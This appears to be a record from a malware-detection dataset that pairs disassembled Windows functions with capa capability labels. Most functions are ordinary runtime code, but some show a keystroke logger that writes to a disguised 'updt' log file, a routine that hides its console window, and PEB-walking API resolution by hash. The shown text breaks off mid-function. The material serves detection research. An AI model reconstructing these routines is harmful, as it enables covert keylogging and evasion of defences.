joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140060c20
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
mov rsi, rdx
mov ebx, ecx
call fcn.14011f3e0
test eax, eax
jne 0x140060e25
cmp byte [0x140181df4], al
mov qword [rsp + 0x30], rbp
jne 0x140060c4d
xor ebp, ebp
jmp 0x140060c69
mov ecx, 5
call qword [0x140181e60]
mov rbp, rax
test rax, rax
je 0x140060c69
mov rcx, rax
call qword [0x140181e70]
test ebx, ebx
jle 0x140060e08
test rsi, rsi
je 0x140060e08
cmp dword [0x140187460], 0
mov qword [rsp + 0x38], rdi
jne 0x140060d8f
call fcn.14011f3e0
test eax, eax
je 0x140060ca5
movups xmm0, xmmword [str.expand_32_byte_k]
movups xmmword [0x140187460], xmm0
jmp 0x140060d09
cmp byte [0x140181df4], 0
jne 0x140060cb7
mov rdi, qword [0x1401871a0]
jmp 0x140060cf6
mov ecx, 2
mov qword [rsp + 0x40], r14
call qword [0x140181e60]
mov r14, rax
test rax, rax
je 0x140060cea
mov rcx, rax
call qword [0x140181e70]
mov rdi, qword [0x1401871a0]
mov rcx, r14
call qword [0x140181e80]
jmp 0x140060cf1
mov rdi, qword [0x1401871a0]
mov r14, qword [rsp + 0x40]
movups xmm0, xmmword [str.expand_32_byte_k]
movaps xmmword [0x140187460], xmm0
test rdi, rdi
jne 0x140060d2b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140187470], xmm0
mov qword [0x140187490], rax
movups xmmword [0x140187480], xmm0
mov dword [0x140187498], eax
jmp 0x140060d6f
mov eax, dword [0x140181fa0]
test eax, eax
je 0x140060d5d
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [0x140187470], xmm0
mov dword [0x140187470], eax
movups xmmword [0x140187480], xmm0
mov qword [0x140187490], rcx
mov dword [0x140187498], ecx
jmp 0x140060d6f
lea r8, [0x140187470]
mov edx, 0x2c
mov rcx, rdi
call qword [rdi + 0x68]
mov eax, dword [0x140187490]
xor cl, cl
mov byte [0x1401874e0], cl
mov dword [0x14018749c], eax
mov dword [0x140187490], 0
jmp 0x140060d96
movzx ecx, byte [0x1401874e0]
movzx eax, cl
lea rdi, [0x1401874a0]
cmp ebx, eax
jle 0x140060de5
test cl, cl
je 0x140060dc3
movzx r8d, cl
mov rdx, rdi
mov rcx, rsi
call fcn.140131900
movzx ecx, byte [0x1401874e0]
sub ebx, ecx
add rsi, rcx
inc dword [0x140187490]
lea rdx, [0x140187460]
mov rcx, rdi
call fcn.140060850
mov cl, 0x40
mov byte [0x1401874e0], cl
cmp ebx, 0x40
jg 0x140060da4
movzx eax, cl
mov rcx, rsi
sub eax, ebx
movsxd r8, ebx
movsxd rdx, eax
add rdx, rdi
call fcn.140131900
sub byte [0x1401874e0], bl
mov rdi, qword [rsp + 0x38]
jmp 0x140060e12
mov dword [0x140187460], 0
test rbp, rbp
je 0x140060e20
mov rcx, rbp
call qword [0x140181e80]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
Function at 0x14008e2e0
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx + 8]
test rax, rax
je 0x14008e30f
lea r8d, [rdx + 1]
nop dword [rax]
mov ecx, dword [rax + 0xc8]
mov edx, r8d
xor edx, ecx
and edx, 3
xor edx, ecx
mov dword [rax + 0xc8], edx
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x14008e2f0
ret
Function at 0x1400d0160
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rsi, qword [rcx + 0xa0]
mov rbx, rcx
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov qword [rsp + 0x60], rax
test rsi, rsi
je 0x1400d0377
mov qword [rsp + 0x68], rbp
xor r9d, r9d
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x38], r14
nop dword [rax]
nop word [rax + rax]
movsxd rbp, dword [rsi + 0x10]
lea r12, [rdi + 0x88]
mov r15d, dword [rsi + 0x14]
shl rbp, 5
add rbp, qword [rax + 0x20]
movzx eax, byte [rbx + 0x1f]
test al, al
jne 0x1400d01d8
inc dword [rbx + 0x38]
mov r14d, dword [rbx + 0x38]
jmp 0x1400d01e8
dec al
movzx eax, al
mov byte [rbx + 0x1f], al
mov r14d, dword [rbx + rax*4 + 0xe4]
movsxd rcx, dword [rdi + 0x90]
lea r8d, [r15 + 2]
lea edx, [rcx + 7]
cmp dword [rdi + 0x94], ecx
jg 0x1400d0215
mov r9d, edx
mov dword [rsp + 0x20], r15d
mov edx, 0x37
mov rcx, rdi
call fcn.140089420
jmp 0x1400d0240
lea eax, [rcx + 1]
mov dword [rdi + 0x90], eax
lea rcx, [rcx + rcx*2]
mov rax, qword [r12]
mov dword [rax + rcx*8], 0x37
mov dword [rax + rcx*8 + 4], r8d
mov dword [rax + rcx*8 + 8], edx
mov dword [rax + rcx*8 + 0xc], r15d
mov qword [rax + rcx*8 + 0x10], r9
mov r9, qword [rbp + 0x18]
xor edx, edx
mov r8d, dword [rsi + 0x10]
mov rcx, rbx
mov dword [rsp + 0x20], 0x71
mov r9, qword [r9 + 0x68]
call fcn.1400cf4a0
mov eax, dword [rdi + 0x90]
add eax, 5
cmp eax, dword [rdi + 0x94]
jle 0x1400d027f
mov rcx, rdi
call fcn.1400892e0
test eax, eax
jne 0x1400d035e
movsxd rax, dword [rdi + 0x90]
xor r9d, r9d
lea rcx, [rax + rax*2]
mov rax, qword [r12]
mov dword [rax + rcx*8 + 8], 2
mov byte [rax + rcx*8], 0x33
mov dword [rax + rcx*8 + 4], r9d
lea rdx, [rax + rcx*8]
mov eax, dword [rdi + 0x90]
mov dword [rdx + 0xc], r9d
add eax, 2
mov dword [rdx + 8], eax
mov byte [rdx + 1], r9b
mov qword [rdx + 0x10], r9
mov word [rdx + 2], r9w
mov qword [rdx + 0x18], 0x7f
mov qword [rdx + 0x20], r9
mov qword [rdx + 0x28], r9
mov qword [rdx + 0x30], 0x61
mov qword [rdx + 0x38], 2
mov qword [rdx + 0x40], r9
mov qword [rdx + 0x48], 0x80
mov qword [rdx + 0x50], r9
mov qword [rdx + 0x58], r9
mov qword [rdx + 0x60], 0x7a
mov qword [rdx + 0x68], r9
mov qword [rdx + 0x70], r9
add dword [rdi + 0x90], 5
test rdx, rdx
je 0x1400d035e
mov dword [rdx + 0x3c], r14d
lea ecx, [r15 + 1]
mov dword [rdx + 4], ecx
lea eax, [r15 - 1]
mov dword [rdx + 0x20], ecx
mov dword [rdx + 0x34], eax
mov dword [rdx + 0x54], ecx
mov dword [rdx + 0x50], r14d
mov word [rdx + 0x4a], 8
test r14d, r14d
je 0x1400d034d
movzx eax, byte [rbx + 0x1f]
cmp al, 8
jae 0x1400d034d
mov dword [rbx + rax*4 + 0xe4], r14d
inc byte [rbx + 0x1f]
mov rsi, qword [rsi]
mov rax, qword [rsp + 0x60]
test rsi, rsi
jne 0x1400d01b0
mov r14, qword [rsp + 0x38]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov r15, qword [rsp + 0x30]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x14012e2f0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14012e31e
xor eax, eax
jmp 0x14012e404
cmp qword [rcx + 0x68], 0
je 0x14012e32f
call fcn.14012e420
jmp 0x14012e404
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14012e346
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14012e348
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14012e37a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140131900
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14012e3fe
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14012e3b1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14012e3da
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14013a6a0
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14012e3fe
cmp rsi, rbx
ja 0x14012e3b8
test rsi, rsi
je 0x14012e3fe
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14013a6a0
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14013046c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401304b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401304b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401304b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401304b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1401304b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401304b8
xor al, al
add rsp, 0x28
ret
Function at 0x140138fb4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140138feb
call fcn.14013c0a8
mov dword [rax], 0x16
call fcn.140136274
xor eax, eax
jmp 0x140139079
mov rdx, r9
mov rcx, r8
call fcn.140138f50
mov rbx, rax
test rax, rax
je 0x140139076
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140138e7c]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140139063
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14013c01c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14013904a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140139059
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140140bf4
jmp 0x140139076
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140139073
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14013dce8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14013dae4
Function at 0x1401455ec
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14012fff0
sub rsp, rax
mov rax, qword [0x140181020]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140141e8c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14014563b
mov rax, rbp
jmp 0x140145743
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1865a0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14014670c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x1865a0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14014573f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14014573f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14014670c
test rax, rax
js 0x14014573f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14014573f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140145731
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140145731
cmp byte [rcx], 0xd
jne 0x140145717
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140145726
cmp byte [rcx + 1], 0xa
jne 0x140145726
inc rcx
jmp 0x140145726
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1815d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1401456f9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140145743
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14012f610
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140145964
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14014597a
mov al, 1
jmp 0x1401459da
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14014598b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1401459d8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14014a44c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1401459d8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1401459d8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1401459d8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1401459da
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140145aac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1401865a0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140145b03
cmp word [rdx], r13w
jne 0x140145b03
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140145b08
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140145c2d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140145c4e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140145b41
mov rdx, r9
mov word [rbx], cx
jmp 0x140145b68
cmp r9, r8
jae 0x140145b78
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140145b22
jmp 0x140145c2d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140145c22
cmp dword [rsp + 0x80], esi
je 0x140145c22
lea r8, [0x1401865a0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140145bfa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140145bca
mov word [rbx], r13w
jmp 0x140145c2a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140145bd7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140145c2a
cmp word [rsp + 0x70], r13w
jne 0x140145c07
cmp rbx, r14
je 0x140145bc4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140146714
cmp word [rsp + 0x70], r13w
je 0x140145c2d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401865a0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140145c27
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140145c2d
Function at 0x14014971c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14014974c
xor eax, eax
jmp 0x14014980f
mov rbp, rbx
cmp word [rax], si
je 0x140149771
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140149758
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140149754
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140142294
movsxd r14, eax
test eax, eax
jne 0x1401497af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140149745
mov rcx, r14
call fcn.140140c30
mov rdi, rax
test rax, rax
jne 0x1401497c8
xor ecx, ecx
call fcn.140140bf4
jmp 0x1401497a4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140142294
test eax, eax
jne 0x1401497f9
mov rcx, rdi
call fcn.140140bf4
jmp 0x140149803
xor ecx, ecx
call fcn.140140bf4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14014982c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1401498b3
mov rsi, rbx
cmp word [rax], bp
je 0x140149872
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14014985c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140149858
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140140c30
mov rdi, rax
test rax, rax
je 0x1401498a0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140131900
mov rbp, rdi
xor ecx, ecx
call fcn.140140bf4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14014c9a0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140140894
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14014ca41
cmp ebx, dword [rsp + 0x30]
je 0x14014ca3a
test esi, esi
je 0x14014ca3a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14014ca15
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14014ca22
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14014c9ff
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14014ca26
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14014ca43
mov eax, 1
jmp 0x14014ca43
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14014fba4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14013c0c8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14014fc2e
cmp byte [rbp - 0x21], r15b
je 0x14014fc29
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14014fc64
call fcn.140142860
test eax, eax
jne 0x14014fc50
cmp byte [rbp - 0x21], r15b
je 0x14014fc48
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14014fc64
cmp byte [rbp - 0x21], r15b
je 0x14014fc61
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14013c6ac
test eax, eax
jne 0x14014fd04
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14013c0c8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14014fca3
cmp byte [rbp - 0x21], r15b
je 0x14014fcd8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14014fcd8
call fcn.140142860
test eax, eax
jne 0x14014fcc4
cmp byte [rbp - 0x21], r15b
je 0x14014fcbd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14014fcd8
cmp byte [rbp - 0x21], r15b
je 0x14014fcd5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14013c6ac
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14014fd04
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14014fd07
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14014fd15
mov rcx, rdi
call fcn.140140bf4
cmp byte [rbp + 0x3f], r15b
je 0x14014fd24
mov rcx, qword [rbp + 0x27]
call fcn.140140bf4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001000
Capabilities:
Create directory
Log keystrokes via polling

Disassembly:
mov r11, rsp
push rbp
push rsi
push r14
sub rsp, 0x180
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov r14, r8
mov rsi, rdx
mov ebp, ecx
test ecx, ecx
jne 0x14000110f
cmp rdx, 0x100
jne 0x14000110f
mov qword [r11 - 0x20], rbx
lea rcx, str.c:updt_
xor edx, edx
mov qword [r11 - 0x28], rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x14001768c]
lea rcx, str.c:updtlog.txt
call fcn.140003068
movups xmm0, xmmword [r14]
lea rcx, [rsp + 0x60]
mov rdi, rax
movups xmmword [rsp + 0x30], xmm0
call qword [sym.imp.USER32.dll_GetKeyboardState]
movups xmm1, xmmword [rsp + 0x30]
lea r9, [rsp + 0x58]
mov dword [rsp + 0x20], ebp
lea r8, [rsp + 0x60]
movdqa xmm0, xmm1
movd ebx, xmm1
psrldq xmm0, 4
movd edx, xmm0
mov ecx, ebx
call qword [sym.imp.USER32.dll_ToAscii]
sub ebx, 8
je 0x1400010e8
sub ebx, 1
je 0x1400010df
sub ebx, 4
je 0x1400010d6
mov rdx, rdi
cmp ebx, 0x21
je 0x1400010cd
movsx ecx, byte [rsp + 0x58]
call fcn.140002e88
jmp 0x1400010f7
lea rcx, str._DELETE_
jmp 0x1400010f2
lea rcx, str._ENTER_
jmp 0x1400010ef
lea rcx, str._TAB_
jmp 0x1400010ef
lea rcx, str._BACKSPACE_
mov rdx, rdi
call fcn.140003208
mov rcx, rdi
call fcn.1400030f8
mov rdi, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x178]
mov rcx, qword [0x14001bc08]
mov r9, r14
mov r8, rsi
mov edx, ebp
call qword [sym.imp.USER32.dll_CallNextHookEx]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400012a0
add rsp, 0x180
pop r14
pop rsi
pop rbp
ret

Function at 0x140001200
Capabilities:
Create thread
Hide graphical window

Disassembly:
sub rsp, 0x48
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140001140]
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000127e
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400012a0
add rsp, 0x48
ret
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400012a0
add rsp, 0x48
ret

Function at 0x140003fe0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003e0c
Function at 0x4015a0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov r11, qword [rax + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov r10d, dword [r11 + rax + 0x88]
mov r14d, dword [r11 + r10 + 0x18]
lea r8, [r11 + 2]
lea r9, [0x00413004]
jmp 0x401605
mov eax, dword [r11 + r10 + 0x1c]
mov edx, dword [r11 + r10 + 0x24]
add rax, r11
add rdx, r11
movzx edx, word [rdx + r14*2]
